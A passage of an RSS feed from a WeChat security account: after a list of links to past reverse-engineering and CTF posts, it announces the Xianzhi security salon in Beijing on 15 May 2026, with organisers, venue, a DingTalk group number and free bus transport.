data-immersive-translate-walked="c1663967-1885-4644-94a5-9560ba03d104" style="margin-bottom: 10px;-webkit-tap-highlight-color: transparent;outline: 0px;"><div data-immersive-translate-walked="c1663967-1885-4644-94a5-9560ba03d104" style="-webkit-tap-highlight-color: transparent;outline: 0px;color: rgb(68, 73, 85);" data-mpa-action-id="mn46ojsngb5" data-pm-slice="0 0 []"><p data-immersive-translate-walked="c1663967-1885-4644-94a5-9560ba03d104" style="-webkit-tap-highlight-color: transparent;outline: 0px;letter-spacing: 0.544px;line-height: 2em;"><span style="-webkit-tap-highlight-color: transparent;outline: 0px;font-weight: bolder;letter-spacing: 1px;font-size: 15px;color: rgb(2, 30, 170);" data-mpa-action-id="mc4gkooxw4z"><span style="color: rgb(2, 30, 170);font-size: 15px;" mpa-font-style="md8f6c2zutc"><span leaf=""><span textstyle="" style="color: rgb(2, 30, 170);"># 往期推荐</span></span></span></span></p><p data-immersive-translate-walked="c1663967-1885-4644-94a5-9560ba03d104" style="-webkit-tap-highlight-color: transparent;outline: 0px;letter-spacing: 0.544px;line-height: 2em;"><span leaf=""><a class="normal_text_link" target="_blank" style="font-size: 15px;color: rgb(2, 30, 170);" href="https://mp.weixin.qq.com/s?__biz=MjM5NTc2MDYxMw==&amp;mid=2458612348&amp;idx=1&amp;sn=9b1f49187644981e264882dedfde45f9&amp;scene=21#wechat_redirect" textvalue="安卓逆向基础知识之frida Hook" data-itemshowtype="0" linktype="text" data-linktype="2"><span textstyle="" style="color: rgb(2, 30, 170);">安卓逆向基础知识之frida Hook</span></a></span></p><p data-immersive-translate-walked="c1663967-1885-4644-94a5-9560ba03d104" style="-webkit-tap-highlight-color: transparent;outline: 0px;letter-spacing: 0.544px;line-height: 2em;"><span leaf="" mpa-font-style="mn46ojr65jp" style="font-size: 15px;"><a class="normal_text_link" target="_blank" style="font-size: 15px;color: rgb(2, 30, 170);" href="https://mp.weixin.qq.com/s?__biz=MjM5NTc2MDYxMw==&amp;mid=2458612341&amp;idx=1&amp;sn=08f4b531105ec2b3a44360f66169db05&amp;scene=21#wechat_redirect" textvalue="2025 强网杯和强网拟态部分题解" data-itemshowtype="0" linktype="text" data-linktype="2"><span textstyle="" style="color: rgb(2, 30, 170);">2025 强网杯和强网拟态部分题解</span></a></span></p><p data-immersive-translate-walked="c1663967-1885-4644-94a5-9560ba03d104" style="-webkit-tap-highlight-color: transparent;outline: 0px;letter-spacing: 0.544px;line-height: 2em;"><span leaf="" mpa-font-style="mn46ojr61va5" style="font-size: 15px;"><a class="normal_text_link" target="_blank" style="font-size: 15px;color: rgb(2, 30, 170);" href="https://mp.weixin.qq.com/s?__biz=MjM5NTc2MDYxMw==&amp;mid=2458612340&amp;idx=1&amp;sn=0c799826addbc96801752a6c70938bf1&amp;scene=21#wechat_redirect" textvalue="在逆向分析方面-unidbg真的适合 MCP 吗？" data-itemshowtype="0" linktype="text" data-linktype="2"><span textstyle="" style="color: rgb(2, 30, 170);">在逆向分析方面-unidbg真的适合 MCP 吗？</span></a></span></p><p data-immersive-translate-walked="c1663967-1885-4644-94a5-9560ba03d104" style="-webkit-tap-highlight-color: transparent;outline: 0px;letter-spacing: 0.544px;line-height: 2em;"><span leaf="" mpa-font-style="mn46ojr61ws2" style="font-size: 15px;"><a class="normal_text_link" target="_blank" style="font-size: 15px;color: rgb(2, 30, 170);" href="https://mp.weixin.qq.com/s?__biz=MjM5NTc2MDYxMw==&amp;mid=2458612335&amp;idx=1&amp;sn=ca23336eef45a4993cc6e5b191e62a61&amp;scene=21#wechat_redirect" textvalue="AI静态分析，内核模块隐藏 Frida 特征，绕过linker私有结构遍历崩溃链" data-itemshowtype="0" linktype="text" data-linktype="2"><span textstyle="" style="color: rgb(2, 30, 170);">AI静态分析，内核模块隐藏 Frida 特征，绕过linker私有结构遍历崩溃链</span></a></span></p><p data-immersive-translate-walked="c1663967-1885-4644-94a5-9560ba03d104" style="-webkit-tap-highlight-color: transparent;outline: 0px;letter-spacing: 0.544px;line-height: 2em;"><span leaf=""><a class="normal_text_link" target="_blank" style="font-size: 15px;color: rgb(2, 30, 170);" href="https://mp.weixin.qq.com/s?__biz=MjM5NTc2MDYxMw==&amp;mid=2458612118&amp;idx=2&amp;sn=47fe8a55e77b2ca8f2f8d73c9a9d99d0&amp;scene=21#wechat_redirect" textvalue="某安全so库深度解析" data-itemshowtype="0" linktype="text" data-linktype="2"><span textstyle="" style="color: rgb(2, 30, 170);">某安全so库深度解析</span></a></span></p></div></div></div></div></div></div></div></div><p data-immersive-translate-walked="c1663967-1885-4644-94a5-9560ba03d104" style="margin-bottom: 0px;-webkit-tap-highlight-color: transparent;outline: 0px;letter-spacing: 0.544px;font-family: system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;background-color: rgb(255, 255, 255);text-align: center;" nodeleaf=""><img data-aistatus="1" alt="图片" class="rich_pages wxw-img" data-ratio="0.46875" data-s="300,640" data-type="jpeg" data-w="640" style="-webkit-tap-highlight-color: transparent;outline: 0px;border-style: none;color: rgb(102, 102, 102);font-family: 微软雅黑;font-size: 15px;letter-spacing: 0.544px;widows: 1;display: inline;width: 661px !important;visibility: visible !important;" width="661px" data-backw="562" data-backh="263" data-copyright="0" data-fileid="100035996" data-imgfileid="311109982" src="https://wechat2rss.xlab.app/img-proxy/?k=e6b64b01&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_jpg%2FUia4617poZXP96fGaMPXib13V1bJ52yHq9ycD9Zv3WhiaRb2rKV6wghrNa4VyFR2wibBVNfZt3M5IuUiauQGHvxhQrA%2F640%3Fwx_fmt%3Dother%26wxfrom%3D5%26wx_lazy%3D1%26wx_co%3D1%26tp%3Dwebp"/></p><div style="box-sizing: border-box;font-style: normal;font-weight: 400;text-align: justify;font-size: 16px;color: rgb(62, 62, 62);" data-pm-slice="0 0 []"><div style="text-align: left;justify-content: flex-start;display: flex;flex-flow: row;box-sizing: border-box;"><div style="display: inline-block;vertical-align: top;width: 20%;align-self: flex-start;flex: 0 0 auto;box-sizing: border-box;"><div style="text-align: center;margin: 0px 0%;line-height: 0;box-sizing: border-box;"><p style="max-width: 100%;vertical-align: middle;display: inline-block;line-height: 0;width: 40%;height: auto;box-sizing: border-box;" nodeleaf=""><img data-aistatus="1" class="rich_pages wxw-img" data-ratio="0.8808777" data-s="300,640" data-type="gif" data-w="638" style="vertical-align: middle;max-width: 100%;width: 100%;box-sizing: border-box;" data-imgfileid="311111351" src="https://wechat2rss.xlab.app/img-proxy/?k=cd885a91&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_gif%2F1UG7KPNHN8Hice1nuesdoDZjYQzRMv9tpvJW9icibkZBj9PNBzyQ4d4JFoAKxdnPqHWpMPQfNysVmcL1dtRqU7VyQ%2F640%3Fwx_fmt%3Dgif%26from%3Dappmsg"/></p></div><div style="font-size: 13px;text-align: justify;box-sizing: border-box;"><p style="text-align: center;white-space: normal;margin: 0px;padding: 0px;box-sizing: border-box;"><strong style="box-sizing: border-box;"><span leaf="">球分享</span></strong></p></div></div><div style="display: inline-block;vertical-align: top;width: 80%;align-self: flex-start;flex: 0 0 auto;box-sizing: border-box;"><div style="text-align: right;justify-content: flex-end;display: flex;flex-flow: row;box-sizing: border-box;"><div style="display: inline-block;vertical-align: top;width: 23%;flex: 0 0 auto;height: auto;align-self: flex-start;box-sizing: border-box;"><div style="text-align: center;margin: 0px 0%;line-height: 0;box-sizing: border-box;"><p style="max-width: 100%;vertical-align: middle;display: inline-block;line-height: 0;width: 40%;height: auto;box-sizing: border-box;" nodeleaf=""><img data-aistatus="1" class="rich_pages wxw-img" data-ratio="0.8808777" data-s="300,640" data-type="gif" data-w="638" style="vertical-align: middle;max-width: 100%;width: 100%;box-sizing: border-box;" data-imgfileid="311111352" src="https://wechat2rss.xlab.app/img-proxy/?k=cd885a91&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_gif%2F1UG7KPNHN8Hice1nuesdoDZjYQzRMv9tpvJW9icibkZBj9PNBzyQ4d4JFoAKxdnPqHWpMPQfNysVmcL1dtRqU7VyQ%2F640%3Fwx_fmt%3Dgif%26from%3Dappmsg"/></p></div><div style="margin: 3px 0% 0px;box-sizing: border-box;"><div style="font-size: 13px;color: rgb(62, 62, 62);text-align: center;box-sizing: border-box;"><p style="margin: 0px;padding: 0px;box-sizing: border-box;"><strong style="box-sizing: border-box;"><span leaf="">球点赞</span></strong></p></div></div></div><div style="display: inline-block;vertical-align: top;width: 23%;flex: 0 0 auto;height: auto;align-self: flex-start;box-sizing: border-box;"><div style="text-align: center;margin: 0px 0%;line-height: 0;box-sizing: border-box;"><p style="max-width: 100%;vertical-align: middle;display: inline-block;line-height: 0;width: 40%;height: auto;box-sizing: border-box;" nodeleaf=""><img data-aistatus="1" class="rich_pages wxw-img" data-ratio="0.8808777" data-s="300,640" data-type="gif" data-w="638" style="vertical-align: middle;max-width: 100%;width: 100%;box-sizing: border-box;" data-imgfileid="311111353" src="https://wechat2rss.xlab.app/img-proxy/?k=cd885a91&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_gif%2F1UG7KPNHN8Hice1nuesdoDZjYQzRMv9tpvJW9icibkZBj9PNBzyQ4d4JFoAKxdnPqHWpMPQfNysVmcL1dtRqU7VyQ%2F640%3Fwx_fmt%3Dgif%26from%3Dappmsg"/></p></div><div style="margin: 3px 0% 0px;box-sizing: border-box;"><div style="font-size: 13px;color: rgb(62, 62, 62);text-align: center;box-sizing: border-box;"><p style="margin: 0px;padding: 0px;box-sizing: border-box;"><strong style="box-sizing: border-box;"><span leaf="">球在看</span></strong></p></div></div></div></div></div></div><div style="box-sizing: border-box;"><div style="display: inline-block;vertical-align: top;width: 10%;box-sizing: border-box;"><div style="text-align: center;margin-top: 10px;margin-bottom: 10px;line-height: 0;box-sizing: border-box;"><p style="max-width: 100%;vertical-align: middle;display: inline-block;line-height: 0;width: 100%;box-sizing: border-box;" nodeleaf=""><img data-aistatus="1" class="rich_pages wxw-img" data-ratio="0.696" data-s="300,640" data-type="gif" data-w="500" style="vertical-align: middle;max-width: 100%;width: 100%;box-sizing: border-box;" data-imgfileid="311111354" src="https://wechat2rss.xlab.app/img-proxy/?k=6ec9988e&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_gif%2F1UG7KPNHN8Hice1nuesdoDZjYQzRMv9tpUHZDmkBpJ4khdIdVhiaSyOkxtAWuxJuTAs8aXISicVVUbxX09b1IWK0g%2F640%3Fwx_fmt%3Dgif%26from%3Dappmsg"/></p></div></div><div style="display: inline-block;vertical-align: top;width: 90%;padding: 0px 0px 0px 10px;box-sizing: border-box;"><div style="margin: 10px 0% 0px;box-sizing: border-box;"><p style="white-space: normal;margin: 0px;padding: 0px;box-sizing: border-box;"><span style="font-size: 15px;box-sizing: border-box;"><span leaf="">点击阅读原文查看更多</span></span></p></div></div></div></div><p style="display: none;"><mp-style-type data-value="10000"></mp-style-type></p>


<p><a href="https://bbs.kanxue.com/thread-290997.htm">阅读原文</a></p>
<p><a href="https://wechat2rss.xlab.app/link-proxy/?k=9d4062f3&amp;r=1&amp;u=https%3A%2F%2Fmp.weixin.qq.com%2Fs%3F__biz%3DMjM5NTc2MDYxMw%3D%3D%26mid%3D2458614619%26idx%3D1%26sn%3Df5927db0f7e8732f53878d2f5ca71129">跳转微信打开</a></p>
]]></content:encoded>
      <pubDate>Thu, 07 May 2026 18:06:00 +0800</pubDate>
    </item>
    <item>
      <title>先知安全沙龙 - 北京站 5月15日开启！</title>
      <link>https://mp.weixin.qq.com/s?__biz=MjM5NTc2MDYxMw==&amp;mid=2458614619&amp;idx=2&amp;sn=2e411e269dcfb8034fe7114819953acf</link>
      <description>5月15日，我们北京见，欢迎报名！</description>
      <content:encoded><![CDATA[<p><span>阿里安全响应中心</span> <span>2026-05-07 18:06</span> <span style="display: inline-block;">上海</span></p>






  
  <p><img src="https://wechat2rss.xlab.app/img-proxy/?k=6bafbf37&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_jpg%2FCpo2XCpI7K1nIZK2U5aS58QN7hC1Vvoatph9NUf7BXicPSJ5KQ87salRfyQzicWcGFOhpyE6xfrRqMq1pkArB9h7sicluSN3NAIRNoFjicxtAKw%2F0%3Fwx_fmt%3Djpeg"/></p>
  <p>5月15日，我们北京见，欢迎报名！</p>
  <p data-mpa-powered-by="yiban.io" data-pm-slice="0 0 []" style="margin: 0px 0px 24px;padding: 0px;outline: 0px;max-width: 100%;clear: both;min-height: 1em;color: rgba(0, 0, 0, 0.9);font-size: 17px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: 0.544px;orphans: 2;text-align: justify;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;font-family: &#34;PingFang SC&#34;, system-ui, -apple-system, &#34;system-ui&#34;, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;visibility: visible;box-sizing: border-box !important;overflow-wrap: break-word !important;"><span style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;font-size: 14px;visibility: visible;box-sizing: border-box !important;overflow-wrap: break-word !important;"><strong style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;visibility: visible;box-sizing: border-box !important;overflow-wrap: break-word !important;"><span style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;letter-spacing: 0.578px;text-decoration-style: solid;text-decoration-color: rgba(0, 0, 0, 0.9);color: rgb(255, 104, 39);visibility: visible;box-sizing: border-box !important;overflow-wrap: break-word !important;"><span leaf="" style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;visibility: visible;box-sizing: border-box !important;overflow-wrap: break-word !important;">阿里云先知灯塔系列城市安全沙龙第十四场-北京站</span></span></strong></span><span style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;font-size: 14px;visibility: visible;box-sizing: border-box !important;overflow-wrap: break-word !important;"><span style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;text-align: left;letter-spacing: 0.578px;visibility: visible;box-sizing: border-box !important;overflow-wrap: break-word !important;"><span leaf="" style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;visibility: visible;box-sizing: border-box !important;overflow-wrap: break-word !important;">将于5月15日在北邮科技大厦4楼多功能厅举办。</span></span></span></p><p style="margin: 0px 0px 24px;padding: 0px;outline: 0px;max-width: 100%;clear: both;min-height: 1em;color: rgba(0, 0, 0, 0.9);font-size: 17px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: 0.544px;orphans: 2;text-align: justify;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;font-family: &#34;PingFang SC&#34;, system-ui, -apple-system, &#34;system-ui&#34;, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;visibility: visible;box-sizing: border-box !important;overflow-wrap: break-word !important;"><span style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;font-size: 14px;visibility: visible;box-sizing: border-box !important;overflow-wrap: break-word !important;"><span leaf="" style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;visibility: visible;box-sizing: border-box !important;overflow-wrap: break-word !important;">本次沙龙在</span><span leaf="" style="clear: both;min-height: 1em;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;orphans: 2;text-align: justify;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;font-family: &#34;PingFang SC&#34;, system-ui, -apple-system, &#34;system-ui&#34;, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;color: rgb(255, 104, 39);font-weight: bold;letter-spacing: 0.544px;text-decoration-style: solid;text-decoration-color: rgb(255, 104, 39);margin: 0px;padding: 0px;outline: 0px;max-width: 100%;visibility: visible;box-sizing: border-box !important;overflow-wrap: break-word !important;">中国互联网协会网络与信息安全工作委员会</span><span leaf="" style="clear: both;min-height: 1em;color: rgba(0, 0, 0, 0.9);font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: 0.544px;orphans: 2;text-align: justify;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;font-family: &#34;PingFang SC&#34;, system-ui, -apple-system, &#34;system-ui&#34;, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;margin: 0px;padding: 0px;outline: 0px;max-width: 100%;visibility: visible;box-sizing: border-box !important;overflow-wrap: break-word !important;">的指导下，</span><span leaf="" style="clear: both;min-height: 1em;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;orphans: 2;text-align: justify;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;font-family: &#34;PingFang SC&#34;, system-ui, -apple-system, &#34;system-ui&#34;, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;color: rgb(255, 104, 39);font-weight: bold;letter-spacing: 0.544px;text-decoration-style: solid;text-decoration-color: rgb(255, 104, 39);margin: 0px;padding: 0px;outline: 0px;max-width: 100%;visibility: visible;box-sizing: border-box !important;overflow-wrap: break-word !important;">由阿里云先知平台、阿里安全响应中心、北京邮电大学网络空间安全学院、北京理工大学网络空间安全学院、北京航空航天大学网络空间安全学院、北京邮电大学天枢信息安全协会、北京理工大学BITs2Sys战队、北京航空航天大学or4nge战队、北京航空航天大学赛博安全协会</span><span leaf="" style="clear: both;min-height: 1em;color: rgba(0, 0, 0, 0.9);font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: 0.544px;orphans: 2;text-align: justify;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;font-family: &#34;PingFang SC&#34;, system-ui, -apple-system, &#34;system-ui&#34;, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;margin: 0px;padding: 0px;outline: 0px;max-width: 100%;visibility: visible;box-sizing: border-box !important;overflow-wrap: break-word !important;">联合举办，邀请北京多所高校网络安全相关专业师生和多名网络安全行业大咖、社会精英白帽子，旨在为学生和网络安全从业者提供面对面交流的机会，是一次纯粹的技术交流和分享！</span></span></p><p style="text-align: center;" nodeleaf=""><img data-aistatus="1" class="rich_pages wxw-img js_img_placeholder wx_img_placeholder" data-ratio="2.5009259259259258" data-s="300,640" data-type="png" data-w="1080" type="block" data-imgfileid="505515210" src="https://wechat2rss.xlab.app/img-proxy/?k=aa6180c9&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FfZTVP3UbI7SQ9g8m7xUdm4CdR9QfaPAtib2ZUibZZDvw6RiayqQfcZlr9efUCCKE6icAL6TCniaeJbI2Bibq3SbCez7FZTbQ9PRRGgicqBtL162ibbw%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg%23imgIndex%3D0"/></p><p style="margin: 0px 0px 24px;padding: 0px;outline: 0px;max-width: 100%;clear: both;min-height: 1em;color: rgba(0, 0, 0, 0.9);font-family: &#34;PingFang SC&#34;, system-ui, -apple-system, &#34;system-ui&#34;, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 17px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: 0.544px;orphans: 2;text-align: justify;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;box-sizing: border-box !important;overflow-wrap: break-word !important;" data-pm-slice="0 0 []"><span style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;font-size: 14px;box-sizing: border-box !important;overflow-wrap: break-word !important;"><span leaf="" style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;">除了干货满满的议题分享，我们还为每一位到场的、热爱安全技术的同学和白帽们准备了一份惊喜好礼。</span><strong style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;"><span style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;letter-spacing: 0.578px;text-decoration-style: solid;text-decoration-color: rgba(0, 0, 0, 0.9);color: rgb(255, 104, 39);box-sizing: border-box !important;overflow-wrap: break-word !important;"><span leaf="" style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;">以礼会友，共享技术盛宴，</span></span></strong><span style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;letter-spacing: 0.578px;text-decoration-style: solid;text-decoration-color: rgba(0, 0, 0, 0.9);box-sizing: border-box !important;overflow-wrap: break-word !important;"><span leaf="" style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;">在思维碰撞与灵感交流中深化对网络安全的理解与实践。</span><span style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;text-decoration-style: solid;text-decoration-color: rgba(0, 0, 0, 0.9);box-sizing: border-box !important;overflow-wrap: break-word !important;"><span leaf="" style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;">期待大家在沙龙轻松愉快的氛围中收获知识、友好交流！</span></span></span><span leaf="" style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;">如有意向参加可加入钉钉群</span><span style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;letter-spacing: 0.544px;box-sizing: border-box !important;overflow-wrap: break-word !important;"><span leaf="" style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;">了解活动详情，</span><span style="clear: both;min-height: 1em;color: rgba(0, 0, 0, 0.9);font-family: &#34;PingFang SC&#34;, system-ui, -apple-system, &#34;system-ui&#34;, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;orphans: 2;text-align: justify;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;font-size: 14px;letter-spacing: 0.578px;text-decoration-style: solid;text-decoration-color: rgba(0, 0, 0, 0.9);margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" data-pm-slice="0 0 []"><span leaf="" style="text-decoration-style: solid;text-decoration-color: rgba(0, 0, 0, 0.9);margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;">“先知安全沙龙·北京站2026”群的钉钉群号： 183205004779。</span></span></span></span></p><p style="text-align: center;" nodeleaf=""><img data-aistatus="1" class="rich_pages wxw-img js_img_placeholder wx_img_placeholder" data-ratio="1.1766917293233083" data-s="300,640" data-type="png" data-w="532" style="width:136px;height:160px;" type="block" data-imgfileid="505515201" src="https://wechat2rss.xlab.app/img-proxy/?k=91194f89&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FfZTVP3UbI7RSibRhlXZAOPbfviadfibWicesIdcIwiav9WKyr3tteXMKx0SwfpSyT2moIibdZfI5UtKeXJgJfcI6wMU0jUic4nx6JWSEhBk6u3RIX0%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg%23imgIndex%3D1"/></p><p style="margin: 0px 0px 24px;padding: 0px;outline: 0px;max-width: 100%;clear: both;min-height: 1em;color: rgba(0, 0, 0, 0.9);font-family: &#34;PingFang SC&#34;, system-ui, -apple-system, &#34;system-ui&#34;, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 17px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: 0.544px;orphans: 2;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;text-align: left;box-sizing: border-box !important;overflow-wrap: break-word !important;"><span style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;font-size: 14px;box-sizing: border-box !important;overflow-wrap: break-word !important;"><span leaf="" style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;">为保障学生出行安全，北京邮电大学、北京理工大学、北京航空航天大学我们会安排</span></span><span style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;font-size: 14px;box-sizing: border-box !important;overflow-wrap: break-word !important;"><strong style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;"><span style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;letter-spacing: 0.578px;text-decoration-style: solid;text-decoration-color: rgba(0, 0, 0, 0.9);color: rgb(255, 104, 39);box-sizing: border-box !important;overflow-wrap: break-word !important;"><span leaf="" style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;">巴士往返免费接送，</span></span></strong></span><span style="clear: both;min-height: 1em;color: rgba(0, 0, 0, 0.9);font-variant-ligatures: normal;font-variant-caps: normal;orphans: 2;widows: 2;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;font-size: 14px;margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;"><strong><span style="font-size: 14px;margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;"><span leaf=""><span textstyle="" style="font-weight: normal;">其他报名人数较多的院校我们也会</span></span></span></strong></span><span style="clear: both;min-height: 1em;color: rgba(0, 0, 0, 0.9);font-variant-ligatures: normal;font-variant-caps: normal;orphans: 2;widows: 2;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;font-size: 14px;margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;"><strong><span style="font-size: 14px;margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;"><span leaf=""><span textstyle="" style="font-weight: normal;">安排</span></span></span></strong></span><span style="clear: both;min-height: 1em;color: rgba(0, 0, 0, 0.9);font-variant-ligatures: normal;font-variant-caps: normal;orphans: 2;widows: 2;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;font-size: 14px;margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;"><strong><span style="font-size: 14px;margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;"><span leaf=""><span textstyle="" style="font-weight: normal;">巴士往返免费接送</span></span></span></strong></span><span style="clear: both;min-height: 1em;color: rgba(0, 0, 0, 0.9);font-variant-ligatures: normal;font-variant-caps: normal;orphans: 2;widows: 2;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;font-size: 14px;margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;"><span style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;"><span leaf=""><span textstyle="" style="font-weight: normal;">，</span>具体接驳地</span></span></span><span style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;font-size: 14px;box-sizing: border-box !important;overflow-wrap: break-word !important;"><span leaf="" style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;">址会在钉钉群内发布，欢迎同学们组队报名。</span></span></p><p style="margin: 0px 